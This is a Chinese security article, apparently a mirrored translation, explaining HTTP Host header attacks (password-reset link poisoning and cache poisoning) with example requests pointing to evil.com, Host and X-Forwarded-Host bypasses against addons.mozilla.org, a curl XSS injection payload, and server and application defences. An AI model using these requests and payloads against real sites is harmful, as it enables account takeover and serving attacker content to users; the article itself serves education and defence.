作者:
龍臣
·
2014/04/09 17:40
from:http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
0x00 背景
一般通用web程式是如果想知道網站域名不是一件簡單的事情,如果用一個固定的URI來作為域名會有各種麻煩。開發人員一般是依賴HTTP Host header(比如在php裡是_SERVER["HTTP_HOST"]
),而這個header很多情況下是靠不住的。而很多應用是直接把這個值不做html編碼便輸出到了頁面中,比如:
<link href="http://_SERVER['HOST']" (Joomla)
還有的地方還包含有secret key和token,
<a href="http://_SERVER['HOST']?token=topsecret"> (Django, Gallery, others)
這樣處理問題一般會很容易遭遇到兩種常見的攻擊:快取汙染和密碼重置。快取汙染是指攻擊者透過控制一個快取系統來將一個惡意站點的頁面返回給使用者。密碼重置這種攻擊主要是因為傳送給使用者的內容是可以汙染的,也就是說可以間接的劫持郵件傳送內容。
0x01 密碼重置汙染攻擊
拿 Gallery 這個站來做例子。當我們進行密碼重置的時候,網站會給我們傳送一個隨機的key:
#!php
$user -> hash = random::hash() ;
$message -> confirm_url = url::abs_site("password/do_reset?key=$user->hash") ;
當使用者點選重置密碼的連結時,肯定可以說明點的是自己的賬戶。
這個地方的漏洞是: url::abs_site
這一部分使用的Host header是來自使用者重置密碼的請求,那麼攻擊者可以透過一個受他控制的連結來汙染密碼重置的郵件。
> POST /password/reset HTTP/1.1
> Host: evil.com
> ...
> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin
這個漏洞在Django,Piwik 和Joomla中都存在,還有一些其他的應用,框架和類庫。
當然這種攻擊方式一定要能騙取使用者點選訪問這個受汙染的連結,如果使用者警覺了沒有點選,那麼攻擊就會失敗。當然你自己也可以配合一些社會工程學的方法來保證攻擊的成功率。
還有一些情況,Host可能會被url編碼後直接放到email的header裡面造成header注入。透過這個,攻擊者可以很容易的就能劫持使用者的賬戶。
0x02 快取汙染
透過Host header來汙染快取的攻擊方法最初是Carlos Beuno 在2008年提出來的。但是在現在的網路架構中,這種攻擊還是比較困難的,因為現在的快取裝置都能夠識別Host。比如對於下面的這兩種情況他們絕對不會弄混淆:
> GET /index.html HTTP/1.1 > GET /index.html HTTP/1.1
> Host: example.com > Host: evil.com
因此為了能使快取能將汙染後的response返回給使用者,我們還必須讓快取伺服器看到的host header 和應用看到的host header 不一樣。比如說對於Varnish(一個很有名的快取服務軟體),可以使用一個複製的Host header。Varnish是透過最先到達的請求的host header來辨別host的,而Apache則是看所有請求的host,Nginx則只是看最後一個請求的host。這就意味著你可以透過下面這個請求來欺騙Varnish達到汙染的目的:
> GET / HTTP/1.1
> Host: example.com
> Host: evil.com
應用本身的快取也可能受到汙染。比如Joomla就將取得的host值不經html編碼便寫進任意頁面,而它的快取則對這些沒有任何處理。比如可以透過下面的請求來寫入一個儲存型的xss:
curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'" http://example.com/ | fgrep cow\"
實際上的請求是這樣的:
> GET / HTTP/1.1
> Host: cow"onerror='alert(1)'rel='stylesheet'
響應其實已經受到汙染:
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/" rel="canonical"/>
這時只需要瀏覽首頁看是否有彈窗就知道快取是否已經被汙染了。
0x03 安全的配置
在這裡我假設你可以透過任何型別的應用來發起一個http請求,而host header也是可以任意編輯的。雖然在一個http請求裡,host header是用來告訴webserver該請求應該轉發給哪個站點,但是事實上,這個header的作用或者說風險並不止如此。
比如如果Apache接收到一個帶有非法host header的請求,它會將此請求轉發給在 httpd.conf 裡定義的第一個虛擬主機。因此,Apache很有可能將帶有任意host header的請求轉發給應用。而Django已經意識到了這個缺陷,所以它建議使用者另外建立一個預設的虛擬主機,用來接受這些帶有非法host header的請求,以保證Django自己的應用不接受到這些請求。
不過可以透過X-Forwarded-Host 這個header就可以繞過。Django非常清楚快取汙染的風險,並且在2011年的9月份就透過預設禁用X-Forwarded-Host這個header來修復此問題。Mozilla卻在addons.mozilla.org站點忽視了此問題,我在2012年的4月發現了此問題:
> POST /en-US/firefox/user/pwreset HTTP/1.1
> Host: addons.mozilla.org
> X-Forwarded-Host: evil.com
即使Django給出了補丁,但是依然存在風險。Webserver允許在host header裡面指定埠,但是它並不能透過埠來識別請求是對應的哪個虛擬主機。可以透過下面的方法來繞過:
> POST /en-US/firefox/user/pwreset HTTP/1.1
> Host: addons.mozilla.org:@passwordreset.net
這直接會導致生成一個密碼重置連結:
https://addons.mozilla.org:@passwordreset.net/users/pwreset/3f6hp/3ab-9ae3db614fc0d0d036d4
當使用者點選這個連結的時候就會發現,其實這個key已經被髮送到passwordreset.net這個站點了。在我報告了此問題後,Django又推出了一個補丁:https://www.djangoproject.com/weblog/2012/oct/17/security/
不幸的是,這個補丁只是簡單的透過黑名單方式來簡單的過濾[email protected]文字而不是html的方式傳送的,所以此補丁只需要新增一個空格就可以繞過:
> POST /en-US/firefox/users/pwreset HTTP/1.1
> Host: addons.mozilla.org: www.securepasswordreset.com
Django的後續補丁規定了host header的埠部分只能是含有數字,以規避此問題。但是在RFC2616文件中規定了,如果請求URI是一個絕對的URI,那麼host是Request-URI的一部分。在請求中的任何Host header值必須被忽略。
也就是說,在Apache和Nginx(只要是遵守此文件的webserver)中,可以透過絕對uri向任意應用傳送一個包含有任意host header的請求:
> POST https://addons.mozilla.org/en-US/firefox/users/pwreset HTTP/1.1
> Host: evil.com
這個請求在SERVER_NAME裡面的值是addons.mozilla.org,而不是host裡的evil.com。應用可以透過使用SERVER_NAME而不是host header來規避此風險,但是如果沒有配合特殊配置的webserver,這個風險依然存在。可以在這裡http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421看看 HTTP_HOST 和SERVER_NAME 的區別。Django官方在2013年的二月透過強制使用一個host白名單來修復了此問題。儘管如此,在很多其他的wen應用上,這種攻擊方式依然屢試不爽。
0x04 伺服器方面需要做的
由於http請求的特點,host header的值其實是不可信的。唯一可信的只有SERVER_NAME,這個在Apache和Nginx裡可以透過設定一個虛擬機器來記錄所有的非法host header。在Nginx裡還可以透過指定一個SERVER_NAME名單,Apache也可以透過指定一個SERVER_NAME名單並開啟UseCanonicalName選項。建議兩種方法同時使用。
Varnish很快會釋出一個補丁。在官方補丁出來前,可以透過在配置檔案里加入:
import std;
sub vcl_recv {
std.collect(req.http.host);
}
來防護。
0x05 應用本身需要做的
解決這個問題其實是很困難的,因為沒有完全自動化的方法來幫助站長識別哪些host 的值是值得信任的。雖然做起來有點麻煩,但是最安全的做法是:效仿Django的方法,在網站安裝和初始化的時候,要求管理員提供一個可信任的域名白名單。如果這個實現起來比較困難,那至少也要保證使用SERVER_NAME而不是host header,並且鼓勵使用者使用安全配置做的比較好的站點。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!